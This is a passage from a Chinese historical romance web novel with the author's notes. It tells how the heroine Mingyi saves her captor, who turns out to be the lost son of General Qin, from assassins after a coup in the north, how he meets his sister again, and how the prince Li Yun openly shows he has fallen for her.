“王爷!”秦梦一路飞奔至前,吁的一声勒了马,大声道,“鲁刺儿要穿过马鬃山回漠北,定是要避开人烟多的地方,但若是全无人烟,他们路上又无法补给。据我所知,有一条路,虽然人迹罕至,但靠近马鬃山的途中,却有一个无名村,周围有一片水源,村子种植放牧,足够他们一行人补给。” 李赟眯了眯眼:“还请秦娘子带路。” “嗯。” * 离开那无名村又是两日,明宜一行正式进入了马鬃山。 这寸草不生的山脉,果然如传闻中一样艰险,连御风都时不时想罢工。 而与此同时,因为靠近漠北,便如诗中所言——北风卷地白草折,胡天八月即飞雪。 虽然还未飞雪,天一黑,也是冷得让人瑟瑟发抖。 幸而鲁刺儿他们早有准备,全都穿上了裘皮袍,也给明宜准备了一张羊皮袄子裹在身上,倒是没让她太冻着。 “天快黑了,前面有一岩洞,我们在里面过一夜。” 这是一段狭长山谷,北风盘旋谷中,发出一阵阵瘆人的呼啸,今晚应该是个大风天,确实不易行走。 又行了一段,鲁刺儿勒了马跳下来,正欲牵马往旁边,原本只有风啸声的山谷中,忽然隐隐传来一阵马蹄。 鲁刺儿眯了眯眼睛,从马鞍抽出他那把弯刀。 片刻后,一道疾驰的身影,在落日下,越来越近。 “是阿达!” 有人激动高呼。 显然是他们熟悉的人。 但鲁刺儿却没有放下刀,眉头也蹙得更深。 待马儿跑近,一行人才看清马背上的人竟浑身是血。 “叶护!”那人跌跌撞撞下马,却是一头栽在地上,捂着胸口有气无力道,“大汗驾崩,太子被突涅小可汗杀死,你阿父也被他杀了……” “你说什么?!”鲁刺儿脸色大变,将人扶在手臂,“太子和我阿父死了?” 地上人似是快耗尽最后力气,气若游丝道:“他派乌尔带人来追杀你了,就在后面,你们……你们快逃……” 话说完,便脑袋一歪,没了气息。 鲁刺儿伸手探了探他的鼻子,闭眼深吸一口气。 “叶护,乌尔来了——” 有人忽然叫道。 明宜也看到远远来了一群人,乌泱泱一大片,至少两三百。 鲁刺儿高声道:“准备迎敌!”又对朝旁边石山一指,“三娘子,去旁边那个山洞躲起来,千万别让人发现。” 明宜想也没想,拔腿便朝那他手指的方向跑去。 她一时心如擂鼓。 北狄变天了! 她可不想死在这些野蛮人的乱斗中—— 作者有话说:明天休息一天,撸一下后面的剧情 第59章 第 58 章 秦破虏 明宜刚爬进一处石山上方的岩洞, 那轰隆隆的马蹄声,便响彻山谷。 她这个位置恰好能遥遥看到那边的动静,又因为山洞隐没在岩石之间, 被暗影笼罩, 那边的人很难发现她,倒是个藏身的好地方。 先前远远看, 只大约看出有了两三百人, 眼下这些人走近,才让她看清, 这两三百人可不是普通兵卒, 而是重甲兵。 要杀一个鲁刺儿, 竟是动用如此大的阵仗! 这家伙在北狄, 到底是多厉害? “鲁刺儿,好久不见了!你出门这么久, 还不知道咱们北狄王庭发生了何事吧?”打头那人, 是个彪形大汉,身下也是一匹高头大马,说话的声音如洪钟一般, 正是突涅小可汗的心腹乌尔。 “乌尔!是不是你杀了我阿父?” 乌尔朗声大笑:“是啊!他可是先太子的身边人, 大汗要杀太子, 我自然是要先除掉你阿父,给大汗扫障碍。对了,”说到这里,他又似是想什么似的, “太子已经下令让你们拔延部去漠北最北端放牧,前日便已启程,也不知有多少人能挨过今冬!” 鲁刺儿身旁皆是拔延部的人, 闻言俱是大怒,手中兵器一一出鞘。 乌尔继续道:“不过不重要了,鲁刺儿!大汗派我来送你与你的太子和阿父团聚!” 鲁刺儿脸色铁青。 他身边人虽然愤怒,却也没完全失去理智。 “叶护,他们人多,我们打不过的,我们拦着他们,你先走。你们汉人不是有句话,留着青山在不怕没柴烧么?我们拔延部还要指望你。” 鲁刺儿却道:“要走一起走,要留意一起留!” “走?”乌尔哈哈大笑,“放心,你们一个都走不了,这座马鬃山就是你们的葬身之地。” 说罢抬手道:“放箭!” 如血残阳下,数百只羽箭齐齐射出,像是密密麻麻的网一样,将整片山谷罩住。 明宜从未见过如此惊心动魄的场面。 一时不禁心如擂鼓。 她当然希望鲁刺儿死,但心里又明白,若是鲁刺儿死了,自己又被发现,下场只怕比被鲁刺儿掳走更可怕。 第一波剑雨落下,只见鲁刺儿手握弯刀,一马当前,身形如游龙一般穿梭其中。 竟是一箭都没被刺中。 北狄第一勇士,类似于大宁的武状元。 但先前几次下来,明宜其实从来没见过鲁刺儿真正出手,这次亲眼见识,才知道他这个勇士,不是浪得虚名。 身手果然非同一般,与李赟陆浪比起来,只怕也不遑多让。 而他那个十几个手下,就没这么幸运了,虽有他冲在前方,还是有好几个人中箭倒下。 那乌尔没给他喘息的机会,立刻又挥手示意,第二波箭雨紧跟而来。 然而便是第三波,第四波,第五波…… 十几波箭雨过去,这些重甲兵的箭矢耗尽,鲁刺儿身旁的人,也一个个倒下。 唯有他依旧稳稳站立。 但到底是几千只箭下来,又没有盾牌防身,他腿上肩头各中了一箭。 而手中那把弯刀,也已彻底卷了刃。 乌尔见这副狼狈状,哈哈大笑:“鲁刺儿!你去年在勇士比赛上赢了我,我本来还挺欣赏你,可惜大汗说你非我族类,其心必异,一定要我杀了你。你要是想死得体面点,不如自我了断算了。” 鲁刺儿望着那坐在高头大马的男人,恶狠狠啐了一口:“你有本事就下来再跟我打一场,这么多人以多欺少算什么本事?” 乌尔不以为意道:“我是来取你人头,不是来跟你比本事的。”说着挥挥手,“谁砍掉他脑袋,重赏百金,官进两级。” “叶护!你快走!我们先挡着,不然今天都得死在这里。”三个重伤的手下勉强从地上爬起来,挡在鲁刺儿跟前喘着粗气道。 鲁刺儿却是置若罔闻,只恶狠狠盯着乌尔,然后将手中卷刃的弯刀丢在一旁,从腰间抽出一枚银色枪头,右脚踩在旁边带血的一根铁棍上,轻轻一勾,那铁棍便到了他手中。 他将枪头装在铁棍,一字一句道:“乌尔!今天不是你死就是我亡命!” 乌尔见他手中长枪,笑道:“听说你会使枪,我还从未见过,今日正好开开眼!”说着大手再次一挥,“给我上!” 他先前那句话,显然勾起了身后人的贪念,也激发了人的勇气。若是平日,他们断然是不敢跟第一勇士交手的,但他现在受重伤,他们这么多人,还都是重甲,难不成还怕他? 于是,这声令下,乌泱泱的一群人,便从马上跳下,手持遁甲刀枪大喊着朝鲁刺儿冲过来。 明宜隔着大远,却大气不敢出。 而就在鲁刺儿拿出枪头的那一刻,她心头莫名一怔。 原本还觉得是自己多想,直到对方银枪一出,飞掠而起,她便百分百确定。 那是秦家枪法。 他正是秦将军的小儿子秦家七郎秦破虏。 他的枪比起弯刀显然更加得心应手,将原本已经在世上失传秦家枪,耍得出神入化。 虽然身受重伤,对方又是重甲兵,他还是靠一支银枪,连杀五人。 但对方到底人多,又有甲胄在身,他很快便体力不支,一个闪失,腹部便被刺了一刀,重重跌倒在地上。 他两个手下见状,又挣扎着上前,将他护在身后:“叶护,你快走!” “走?”乌尔拿着一把大刀从马上一跃而下,冷哼道,“痴人说梦!” 三人望着他一步步走近,知道恐怕是走不成了。 鲁刺儿拄着枪缓缓站起身,一字一句道:“就算死,我也要站着死!” 山洞中的明宜心急如焚,余光忽然瞥到下方不知何时出现两匹马。 定睛一看,原来是鲁刺儿的马和御风。 先前箭雨落下,马儿惊慌四窜,但都没能逃过箭雨,没死的也鲜血淋漓倒在地上苟延残喘。 唯有这两匹马不知何时躲到了这里。 那边打得如火如荼,显然也没在意两匹马的动静。明宜咬咬牙,思忖片刻,终于还是蹑手蹑脚滑了下去,又去鲁刺儿马鞍上,拿下自己的袖箭,想了想把对方弓箭也一并拿下来,然后骑上御风。 及至此时,因为有山石挡着,仍旧没人发现她。 直到她扬鞭一挥,骑马从里面冲出来,众人才蓦地齐齐循声看来。 看到一个骑马女子冲出来,这些北狄重甲兵,一时没能反应过来。 明宜没有犹豫,三根箭同时上弦,一并射出去。 第一箭是射向乌尔,其余两箭,则是射向距离鲁刺儿最近的重甲兵。 每一箭都不偏不倚射到几人头上,那两个重甲兵举盾已经来不及,扑通一声倒在地上。 而那乌尔到底有些本事,举盾虽然来不及,但他动作很快,脑袋在电光火石间一歪,堪堪避开致命一剑,但耳朵却被射掉了一块。 他抬手一摸,看到满手血。 与此同时,明宜已经来到鲁刺儿身旁,一把抓住他肩膀:“快上马!” 这回鲁刺儿没有犹豫,飞身跃上御风。 御风实在是灵性,大约是知道命悬一线,驮着两人也不嫌重,迈开四条粗壮的短腿,便朝来时方向嗷嗷狂奔。 马蹄下卷起一阵阵砂砾。 乌尔看到人跑,终于回神:“快追!” 众人齐齐折身上上马。 拔延部几人试图阻拦他们,为他们的叶护争取逃生时间,但最终都倒在铁蹄之下。 鲁刺儿回头,看到的便是最后几个手下,被马匹从身上踏过的场景,最终他闭上眼睛深吸一口气,将头扭回来不再看,而是一巴掌拍在御风马臀。 御风毕竟是在野外生长的胡野马,走了一遍的路,虽然依旧难走,但比先前顺畅许多,也或者是为了逃命,激发了马儿最大的潜能。 不过半个时辰,便将身后的大军甩掉。 “三娘子,你为什么要救我!”鲁刺儿捂着腹部的伤,在颠簸中艰难开口。 明宜迎着风大声回道:“秦破虏,你先别死,你阿姐还在沙洲等着你。” “我阿姐?她还活着?” “不仅活着,这十二年一直在找你。” 鲁刺儿,或者说秦破虏沉默下来。 明宜见他半晌没再出声,又大声问道:“你还活着吧?” “放心,死不了。” 明宜:“我们怎么走?” 秦破虏道:“原路返回,先去莫大娘那里,我需要治伤。”顿了下,又补充一句,“这条路线,只有我知道,他们只要被甩开,一时半会儿找不到的。” 明宜深吸一口气,点头:“行!” 她对身后的男人是又惧又恨,开始是惧他把自己掳走,等真被掳走,便是咬牙切齿的恨,但这几日,心情又变得稍许复杂。 她觉得此人并不算大奸大恶之人,不过是所处阵营不同罢了,至于掳女人,这是他们蛮族一向的风格。 如今知道他是秦七郎,恨也好惧也怕,都先丢在一旁,先把人救了再说。 天很快黑了,但御风没有停下。 及至天蒙蒙亮,熟悉的毡帐出现在视线中,马儿才脱力一般,趴在地上,喘着粗气再也站不起来。 明宜还没下马,先听到身后噗通一身。 回头一看,果然是秦七郎一头栽倒在地,面上虽被浓须覆盖,却也看得出脸色苍白,已然是十分虚弱的模样。 她不敢耽搁,也顾不得一夜奔驰的劳累,拔腿就朝前方跑去。 “莫大娘——”她高声呼喊。 听到声音的莫大娘,很快从毡帐出来,认出是她,捧着嘴回应:“怎么?小娘子。” 明宜气喘吁吁回道:“阿七受了重伤,需要你们帮忙!” 莫大娘闻言,赶紧去旁边招呼了几个男子,随着明宜来到秦破虏倒地的地方。 一阵兵荒马乱后,男人终于被抬回了毡帐内。 也难怪他要回这村子,原来这莫大娘竟懂医术,又是止血又是喂药,不到一个时辰,秦破虏的呼吸便渐渐平稳。 明宜也实在熬不住,一头睡了过去。 再醒过来,毡帐内已点起了油灯。 她倏地坐起身,想去看看秦破虏的情况,不料,却看到身旁不知何时坐了个陌生俊朗的年轻男子。 因是刚睡醒,她一时没反应过来:“你是……” “多谢三娘子救命之恩!” 竟是秦破虏! 明宜不可置信地看着净了面的男人,或许该叫少年更合适。秦梦说若是阿弟长大,定是美男子,这话确实不假—— 作者有话说:下章大哥见面啊,猜猜会不会哭唧唧? 哈哈哈 第60章 第 59 章 只见他长眉长眼,鼻梁高…… 只见他长眉长眼, 鼻梁高挺,是长安城中最受欢迎的那类郎君长相。 不过明宜很快回神,问道:“你伤怎么样?” 秦破虏道:“莫大娘擅治外伤, 我已经没什么大碍。” 明宜闻言重重舒了口气。 秦破虏看了看她, 嚅嗫道:“你为什么要救我?” “你以为我想救你?”明宜冷笑一声,“自然是因为你是秦飞扬秦将军的儿子, 你父亲与我祖父交情甚深, 你长兄还是他的学生,我对你父母也十分敬仰。” 秦破虏又问:“你怎么认出的我?” “我见过你兄长的秦家枪!”说着, 明宜又颦眉望着他, “你乃忠将之后, 为何会认贼作父, 帮助北狄对付大宁?” 秦破虏哂笑一声:“大宁?你是说灭我全家的大宁?认贼作父?若不是我养父救了我,我早死在大宁人手中。” 明宜眼睛微微眯起:“当年你父亲乃是被奸人所害。我听你阿姐说, 你们在逃命时走散, 你乃是被北狄人掳走。” 秦破虏道:“嗯,当时我受伤,我阿姐一行去寻找我娘, 让我躲在一处地洞, 不想, 却被人发现。我见是大宁兵,以为他们是来救我,哪知他们是要斩草除根,幸而得我养父所救, 将我带回北狄,抚养我长大,待我如亲生。”说到这里, 他顿了顿,又才一字一句道,你说说看,于我,到底谁是父谁是贼?” 明宜一时无言,想不到他去北狄竟是这番经历。 若是换做是自己,定然也会对大宁恨之入骨。她犹疑片刻:“你养父如今身故,你有何打算……” “自然是报仇。”秦破虏看了她一眼,道,“我毕竟是大宁人,既然我阿父和太子都已过世,如今的北狄大汗与我有着不共戴天之仇,我自然不会再为北狄做事。” 明宜想了想:“不管怎么样,你先与你阿姐团聚再说。” 秦破虏不置可否,沉默半晌,忽然又自嘲一笑:“三娘子身为女郎,却比男子还心胸豁达,我曾带人杀了你们侯府数十护卫,又三番两次将你掳走,却没想到在我命悬一线时,你会舍命救我。”说着与她揖了一礼,“三娘子大恩大德,今生可能无以为报了,来世定当牛做马偿还。” 明宜嗤了声:“你才弱冠之年,这辈子长得很,真要想还,这辈子有的是机会。” 秦破虏不置可否,只是话锋一转:“三娘子的箭术很精湛。” 明宜:“略懂一二。” 秦破虏也笑:“三娘子还是太谦虚了,这一路上你没杀了我,算我命大。” 明宜失笑:“要是就你一人,我倒是可以一试。” 说到这里,她忽然意识到什么似的,没再继续。 果不其然,对方苍白的脸色,因为她这话微微一变,显然是想起那些死在山谷中的同伴。 好在不过片刻,男人又已恢复如常,只淡声道:“我去旁边毡帐休息,你有事唤我。” “嗯。”明宜忙不迭点头,“你有伤在身,最重要是好好休息。” 目送对方出门,她眉头不由自主微微蹙起。 这个秦七郎明显因为这场变故性情大变,先前若还算是意气风发的天真,那现在便是生无可恋的颓丧。 不过这也正常,毕竟养父和生死与共的同伴全都死了,他在北狄的家已回不去,而大宁早不是他的家。 好在他还有秦梦这个姐姐。 思及此,她微微舒了口气,这才想起来御风,赶紧来到外面,正巧碰到莫大娘进来,忙问:“莫大娘,我的马儿还好吧?” 莫大娘笑眯眯指了指旁边:“吃了几桶草料,很快就睡着了,这会儿都还没醒。” 明宜果然看到呼呼大睡的御风。 马儿常站立睡觉,但此时御风却是躺在地上,想来是真累坏了。 她笑了笑,走过去在御风身旁蹲下,伸手摸了摸它的脑袋,感慨道:“御风,这回你立了大功,等回了凉州,各种瓜果任你挑选。” 御风忽然睁开了乌溜溜的圆眼睛,似是听得懂她的话一般,龇着牙欢天喜地地在她手上蹭了蹭。 明宜舒了口气,忽然想起李赟。 想起那晚,她决定跟着鲁刺儿走时,小凉王脸上的表情。 自己被掳走这么多天,他是一直在亲自寻找,还是为了大局回了沙洲,只让手下继续追踪? 不管怎样,他此时此刻定是焦急万分。 这几天因为前路未卜,每天都想着怎么逃走,她很少想起李赟,这会儿终于勉强安定下来,才终于想起对方。 而这一想,脑子里关于对方的种种便如洪水一样,哗啦啦冒出来。 算起来她与李赟才相识不足两月,但几乎没安生过几天,以至于两人共同经历的这些事,让他们仿佛已经认识了许久。 她不得不承认,李赟在自己心中,不知不觉已占据了很重要的位置。 她甚至有点不敢想象,待自己离开凉州,往后余生与这个人再无机会相见。 或者,她也可以留在凉州。 她脑子里忽然冒出这个荒谬的念头。 河西虽然危机四伏,但自己能做的事,却远比在京城高门内当个贵女有意义。从前她只想明哲保身,如今却想做更多事。 连教她读书习字的祖父,都认为女子读书不过是为修养情操。但李赟却是让她把自己所学,用在真正有用之处。 想是这样想,但明宜还是很快打消了这个念头。 她要留在凉州有用,必然就得伴随李赟左右,自己一个寡妇和伯兄朝夕相处,哪怕两人不在意这些礼教规矩,未来王妃呢? 陪了一会儿御风,莫大娘他们已经做好晚膳。 “小娘子,来用膳了。” “来啦。” 秦破虏因为有伤,没与他们一起,莫大娘打好饭菜,送去了旁边毡帐。 这村子远离尘世,不问世事,都是简单淳朴的人,甚至都没多问秦破虏是如何受的伤。 明宜其实也担心,若秦破虏在此养伤,万一那群重甲兵找过来,不仅她和秦七郎小命不保,只怕还会连累整个村子。 不管怎样,先好好吃饱饭,过了今晚再说。 虽然白天睡了一个大觉,但毕竟奔波两日,可谓是身心俱疲,只恨不得睡上三天三夜。因而吃过晚饭没多久,她便又困得睁不开眼,再次倒头睡下。 翌日清晨,明宜是被外面的马蹄声唤醒的,原本以为是村子里的人骑马出行,但躺了一会儿,总觉得哪里不对劲,赶紧起床去外面看情况。 哪知刚掀开帘子,便迎上一脸焦急的莫大娘。 “莫大娘,阿七呢?” 莫大娘唉声叹气道:“刚刚我一醒来,阿七就拉我去马厩,说想要牵一匹马。我问他要去作何,他开始也不说,等牵了马骑上去,才告诉我说他要去报仇,还让我给你留句话,说是请你转告给他阿姐,说七郎已经死了,不用再找,欠三娘子你的恩情下辈子再还。” 明宜心下大惊,果然,昨天醒来看到对方一脸不想活了的模样,还说下辈子当牛做马偿还,原来是已经打算好了要去送死。 莫大娘还没说完,那马蹄声早已消失在宁静的清晨。 以秦七郎的骑术,明宜这会儿骑上御风去追,只怕一时半会儿也追不上,等到追上,十有八\九便是与乌尔那群重甲兵相遇。 她那日能趁着对方没防备,将人救走,这回只怕没那么好运。 她不想秦将军唯一的血脉就这么死去,但也实在没了心力再为了这主动送死之人去搏命。 莫大娘见她神色沮丧,叹了口气,安慰道:“三娘子,你看开些,人各有命,这是阿七自己选择的路,真要是出了什么事,你便回你的大户人家,再寻良人吧。” 明宜原本想解释自己和秦七郎不是这种关系,但想了想,又懒得多说,只点点头道:“嗯,这两日麻烦你们了。”说着从荷包里掏出一枚银饼递给她,“还麻烦大娘给我准备三日的干粮,我得启程回去了。” 莫大娘点头:“三娘子你先用早膳,我这就帮你去准备干粮。” 明宜正要折身回毡帐,却忽然又听到隐隐有阵阵马蹄,由远及近传来。 她心下一提,一开始还以为是北狄重甲兵找到了这里,但仔细一听,马蹄传来的方向又不对。 “哎呀,这是从西边来的马队?”莫大娘轻呼一声,抬手挡在眉头遮住碍眼的晨光,踮起脚循声望去。 明宜也随她一起看过去。 一开始只隐约看到远处黑压压一片,但很快晨光便将这片黑影点亮。 虽然还是只能看清大致轮廓,明宜还是一眼认出那打头的一人,双眼蓦地一亮,一股巨大的欢喜涌上心头,一边挥手一边大叫着迎上去。 “阿兄——” 李赟自然也看到了晨光中的那道小小身影,连日来的疲惫,顿时一扫而空,用力挥动马鞭,将身后人甩开。 “吁——” 身下的马还没停稳,李赟已经从马背一跃而下,飞快跑向明宜。 度日如年的七八天,在看到对方完好无损地出现在自己眼前,他只觉得什么都不重要了。 大局也好,责任也罢,都不如她活生生地站在自己身前。 眼见男人越来越近,明宜气喘吁吁停下。 哪知下一刻,便被一双结实的手臂揽入怀中。 明宜整张脸忽然就埋入对方肩头。 李赟抱得很紧,两人几乎严丝合缝牢牢贴在一起,对方粗重的喘息就在耳边,她甚至还能听到那结实胸膛里剧烈的心跳声。 明宜被这些不属于自己的声音搅得脑中一片混沌,哪里还记得什么身份礼数,只觉得这些日的惊惶无助,忽然就因为这个温暖坚实怀抱,而烟消云散。 她甚至还主动揽住了对方腰身。 及至身后众人纷沓而至,楚飞破音似的呼喊声传来:“二夫人——” 明宜才蓦地惊醒,意识到此刻自己和李赟的姿势有多不妥,不由得脸颊一热,赶紧将抱住对方腰身的双手收回,又轻轻推了推,唤了声“阿兄”。 李赟也似乎才反应过来,轻咳一声,依依不舍地将人松开,然而双手依旧抓着对方手臂,浓眉微蹙,上下打量她一眼,确定她无碍,悬着的一颗心才终于落下。 却还是不放心地问:“你可有受伤?” 明宜摇头:“未曾。” “那就好。”李赟重重舒了口气。 明宜不动声色看了看他,显然在他眼中,只要自己身体无碍,其他诸如清白名节之类都不重要。 与此同时,楚飞终于跑过来,气喘吁吁道:“二夫人,你没事真是太好了,你都不知道这几天王爷他……”后面的话还没说完,便被李赟冷冷的一瞥打断,他赶紧轻咳一声,将后面一箩筐话化为简单一句敷衍,“王爷总算放心了。” 他虽然光棍一条,但经过这七八天,还看不出自家主子对二夫人的心思,那真就是傻子了。 他们这位不近女色的小凉王凡心大动,早已把二夫人放在心尖尖上啦—— 作者有话说:忘了放存稿箱,洗完澡才想起来好像忘了啥服了【..top】 60-70 第61章 第 60 章 要她做小凉王的王妃 明宜并不知道楚飞脑子里在想什么, 闻言只是笑了笑,这才发现跟在后面的秦梦几人,她忽然反应过来, 一把抓住李赟的手臂, 道:“阿兄,鲁刺儿就是秦七郎!” “什么?!” 李赟以及赶来的秦梦不约而同开口。 秦梦几乎是惊呼出声。 明宜放开李赟的手, 言简意赅道:“北狄变天了, 突涅小可汗杀兄弑父当了大汗,派人来追杀秦七郎, 原本我们好不容易逃掉, 但今早他不顾重伤, 只身返回要去给同伴报仇。我们得去救他, 不然定是凶多吉少。” 秦梦听到这里,身体忍不住开始颤抖, 红着眼睛扑通一声跪在地上, 语无伦次道:“恳请王爷救我阿弟!” 这些天一直在外,李赟并未收到北狄变天的消息,没想到不过短短几日, 竟然发生了这么大事。 他冷声对秦梦道:“赶紧起来上马!”说着又看向明宜, “三娘带路!” “嗯。” 明宜飞快折身, 跑到马厩牵了御风。 莫大娘并不知李赟一行的身份,但见是兵卒模样的人,也不敢多问,还是明宜匆忙丢下一句话:“我们去救阿七了。” “嗯嗯嗯。”莫大娘忙不迭点头, 朝飞奔离去的她高喊,“三娘子当心!” 御风作为能嗅到三十里开外水源的胡野马,鼻子比狗还灵, 要追踪到秦七郎的踪迹并不难。 且马鬃山不是风一吹就散的沙海,马蹄踏过多多少少会留下痕迹。 这也是为何明宜担心那群北狄兵会寻到无名村的缘故。 饶是如此,他们寻到秦七郎的踪迹时,也已临近傍晚。 确切的说,是看到崎岖山谷中几十具身穿甲胄的尸体。 “就是这些北狄兵?”李赟蹙眉问道。 虽然不认识这些面孔,但明宜对他们身上的装束记得很清楚,她点点头:“没错,这些就是追杀秦七郎的北狄重甲兵。” 若是没猜错,这些人正是死在秦破虏手中。 他独自一人还受了重伤,竟还能长途奔袭后杀死这么多人,不管用的什么方法,都实在是强得可怕! 明宜忽然有些心有余悸,若是那太子没被篡位,秦破虏依旧是鲁刺儿,待两国开战,只怕对方是河西乃至大宁这么多年来面对的最强敌手。 而李赟显然也是这般所想,这一路来,明宜已经将这几日所发生之事一一讲给他听。 他不禁狐疑道:“你说那秦七郎受了重伤?” “嗯。”明宜点头。 两人说话间,秦梦惊慌失措找了一圈,没见到阿弟的身影,颤抖着声音道:“我阿弟应该还活着,我得马上找到他。” 这一段道路崎岖,只能牵马艰难而行,或许秦七郎便是利用地形,将人引来这里成功击杀。 但他到底只有一人,一旦被那群人围堵,只怕是凶多吉少。 几人循着丁点足迹寻了片刻,楚飞忽然道:“有声音!” 其他人自然也听到了,是兵戈碰撞的响动。 “七郎——阿姐来救你了——” 秦梦大叫一声,丢开马匹,领着几个年纪已不小的同伴,抄着家伙便循声跑去。 李赟则是从马鞍上解了弓箭,对身后众人一声令下:“带上弓箭,走!” 他没专门吩咐明宜,是因为知道对方不需要他的吩咐。 被掳走七八天,她不仅安然无恙,甚至还从北狄兵手中救下了秦七郎。 她远比自己以为的还要聪慧果敢——她没仔细说如何救走的秦七郎,总不能只是运气。 一路疾行。 众人很快看到了崎岖山中,乌泱泱的重甲兵正围堵着一道浑身是血的身影。 明宜也终于明白何为秦破虏重伤还能杀这么多人,果然是利用地形。 这些重甲兵那日已经将箭矢用光,为了追他们,想来没有回收。 没有弓箭,想要杀死秦破虏便只能近身作战。 而秦破虏故意将人引入这片不便骑马之地,是因为这些人来自平坦宽阔草原,并不熟悉这种地形,又身着重甲,在这崎岖石山中要追上他没那么容易。 不过秦七郎眼下显然也已是强弩之末,只见他行动十分缓慢,满身的血,也不知是旧伤裂开,还是又添新伤,眼见就要被包围,人也踉跄着倒下。 那人高马大的乌尔,许是被他弄得一身怒火,举着一柄长刀,几步冲上前,直直朝人砍下来。 “鲁刺儿!给我受死!” 哐当一声! 长刀却并没有砍在跌坐在地秦七郎身上,而是被一把锈迹斑斑的刀挡住。 那锈刀虽勉强挡下这几十斤的大刀,却也应声断成两截。 秦梦挡在秦七郎跟前,大声道:“七郎别怕,有阿姐在,谁都别想伤害你!” 秦破虏睁大眼睛望着面前的女人。 两人分开时,他已经八岁,自然还记得秦梦的模样。 可谁曾想,再见面,曾经双十年华的阿姐,脸上已爬上了岁月痕迹,哪里还有当年模样? 可他认得出,这就是他的阿姐秦梦。 自己从小在她身边长大,直到八岁。 出事那年,她拼了性命也要保护自己。 可到底造化弄人,姐弟终究是被迫分离了十二年。 “阿姐——”他哽咽开口。 然而乌尔却没给姐弟叙旧的机会,手中大刀再次砍下。 秦梦手中没了兵器,只能拖着秦破虏往坡下滚去。 与此同时,数十只箭,自上而下射来。 乌尔和他的重甲兵立刻举起盾牌抵挡。 砰砰砰—— 利箭撞在盾牌,发出刺耳的声响。 明宜粗略扫了眼,还有将近两百人。 而李赟只带了轻装出行的数十人,双方要是交起手来,只怕讨不到便宜。 她赶紧在李赟身侧耳语了几句,对方颇以为然点点头,吩咐弓箭手藏好,又让几人跟着明宜跑去另一边。 将身子藏好后,明宜压低嗓音用北狄话高声喊道:“河西军在此,尔等北狄贼子还不快快束手就擒!” 这道声音回荡在山中,竟有几分荡气回肠的味道。 乌尔闻言往上一看,隐隐约约看到几个人影,又朝声音传来的地方看去,也似乎藏着不少人。 他心中一时没了底,不知来了多少河西军,又看了眼不远处被个女匪和其同伴牢牢挡在身后的鲁刺儿,最终不甘心地咬咬牙,大吼一声:“撤!” 乌泱泱的一群重甲兵,举着盾牌慌忙撤退。 李赟又挥挥手,让人射了两波箭。 乌尔一行人听到盾牌砰砰的声响,跑得更快了,最终到了停马处,骑上马便往北边逃去。 见山中北狄重甲兵悉数撤离。 明宜重重舒了口气,又探出头看向秦破虏的方向。 秦梦正将秦七郎抱在腿上,手忙脚乱替他包扎伤口,眼泪扑簌簌往下落,泣不成声道:“七郎,你别怕,有阿姐在,你不会有事的。” 找了十二年的阿弟,他义父义母在这世上唯一的骨血,今日终于再见到,她决不能眼睁睁看着人死在自己眼前。 哪怕是用自己的命换。 秦破虏望着上方泪流满面的女子,泪水也缓缓从眼角滑落,然而刚哑声唤了句“阿姐”,便忽然闭上眼睛昏死了过去。 秦梦见状失声大哭起来。 那厢的李赟已经阔步走下去,先是伸手探了探秦七郎的鼻息,又检查了下身上的伤,淡声道:“秦娘子不用担心,令弟虽然伤得很重,但只伤皮肉和筋骨,未伤脏腑,昏过去乃是流血过多所致,应无性命之虞。”说着从腰间掏出一粒丹药递给对方,“你把这个护元丹给他服下。” 秦梦擦擦眼睛,接过丹药,小心翼翼塞入昏迷的阿弟口中,又连连道谢:“王爷的大恩大德,秦梦感激不尽。” “秦娘子不用客气。”李赟却显然没太多心思关心这对姐弟,而是起身迎上朝这边走来的明宜,自然而然地抓起她的手:“三娘,咱们回去。” 明宜垂眸看了看被攥住的手,暗自挣了挣,没挣扎开,只能低声提醒道:“阿兄,你这样有些不妥。” 李赟却是扯了下嘴角,不以为然道:“有何不妥?” 明宜一时噎住,半晌才闷声道:“男女授受不亲。” 难道这道理还需要她说出来? 李赟扯了下嘴角,依旧抓着她的手不放:“我偏要亲!” 明宜微微怔了下,意识到什么似的,耳根一热,用力将手挣开,飞快朝御风的方向跑去。 一边跑一边心如擂鼓。 今日相见,先前李赟的种种所为,她本只当对方是因见到自己太过激动。 因为她亦是如此,所以才有早上那不管不顾的一抱。 但眼下看来,对方的心思明显不是这么简单。 只怕完全逾越了兄长和弟妹的情分。 想到这层,她只觉脑中忽然就乱作一团,怎么理也理不清楚。 她那可以用来应对各种危险的脑子,此时却完全不知该如何应对这种事,只能掩耳盗铃一般先避开对方。 李赟望着快步走开的女人,没有追上去,只是微微眯起眼睛。 他原本是想再等等,待相处时间长了,许多事自然会水到渠成。然而经过这煎熬的七八天,他一时半刻也不愿对方再离开自己视线。 若不是眼下时机实在不合适,他恨不得立即表明自己的心意。 他知道这或许会吓到对方,毕竟两人是这样的关系,阿玉又才过世三个多月,她再如何有胆识,那也是在长安高门长大,循规蹈矩的贵女。 哪能这么快接受自己如此这般的逾矩? 但他实在是不想再等。 不管她如何想,他现在就要让她知道,他不仅要她助自己守河西,还要她做小凉王的王妃—— 作者有话说:马上开始男主追妻了,身边还有两个情敌呢嘿嘿,难追哦。 发觉女主一直也没靠男人救,从头到尾都是她救男人,服了。 哎,男的,果然没啥用。 第62章 第 61 章 本该与我是珠联璧合,天…… 回程路上, 明宜一直跟在秦梦身旁,刻意避着李赟。 而李赟却像是感觉不到一样,一脸坦然的往她旁边靠。 好在御风一是怕他, 二是讨厌他身下那匹高大帅气的骏马, 只要一人一马贴太近,它就打着响鼻表示不满。 李赟置若罔闻, 但他那匹骏马却还是有这自知之明, 一看御风这架势,便老老实实隔开了些。 从马鬃山中回到无名村, 哪怕已是轻车熟路, 却因为秦破虏的伤势不适宜颠簸, 已是两天后。 要说这秦七郎确实不一般, 在野外这两天,虽一直昏昏沉沉, 但面色却是渐渐好转, 果然如李赟所说死不了。 到了无名村,他们也没多停留,只买了他们几只羊宰了带上充当途中食物。 村中唯一马车, 也被他们买下, 用来载秦七郎这个伤患。 因为给得钱足够多, 无名村的村民倒是很高兴,在凛冽寒冬来临之前,足够他们去最近的集市采买这个冬天的食物。 马车不大,但足够乘坐三人。 这三人自然就是秦家姐弟和唯二的女子明宜。 她本以为终于能离李赟远一点, 让自己冷静下来接下来该如何应对。 不料,刚进车内,便听到外面的侍卫道:“王爷, 还是我来吧?” 李赟:“我想坐车不行?” 原来是小凉王竟要亲自驾车。 “秦娘子,我们要启程了,你护好你阿弟。” 秦梦回道:“嗯,好的,有劳王爷了。” 明宜心情复杂地靠在车厢,暗暗深吸了口气。 却听李赟又道:“三娘,你累了便睡一觉。” 明宜:“……哦。” 